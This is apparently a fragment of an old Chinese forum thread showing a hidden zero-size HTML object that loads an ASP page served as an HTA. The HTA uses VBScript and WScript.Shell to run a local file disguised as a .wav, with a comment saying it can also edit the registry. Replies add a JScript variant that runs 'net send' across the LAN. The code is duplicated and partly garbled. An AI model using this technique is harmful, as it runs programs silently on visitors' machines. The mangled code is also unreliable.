1.html<object data="2.asp" width="0" height="0"></object>
2.asp
<%response.ContentType="application/hta"%><script language=vbscript>
'自己测试运行了一下exe程序,通过,同理也可以修改注册表
msgbox "dd"
Set Sh = CreateObject("WScript.Shell")
sh.Run "C:\2_1.wav"
set sh=nothing
</script>
2.asp
<%response.ContentType="application/hta"%><script language=vbscript>
'自己测试运行了一下exe程序,通过,同理也可以修改注册表
msgbox "dd"
Set Sh = CreateObject("WScript.Shell")
sh.Run "C:\2_1.wav"
set sh=nothing
</script>
http://daconglee.home4u.china.com/
就可以了你可以自己封装以下
var Sh = new ActiveXObject("WScript.Shell");
sh.Run "cmd net send",1,true 'DOS命令不记得了
</script>
...才接触JS看到这个觉的可怕 如果format...
别怕,只是服务端的
var Sh = new ActiveXObject("WScript.Shell");
sh.Run "cmd net send 某一个IP地址或用*好表示局域网所有IP地址 “发送信息内容”",1,true '
</script>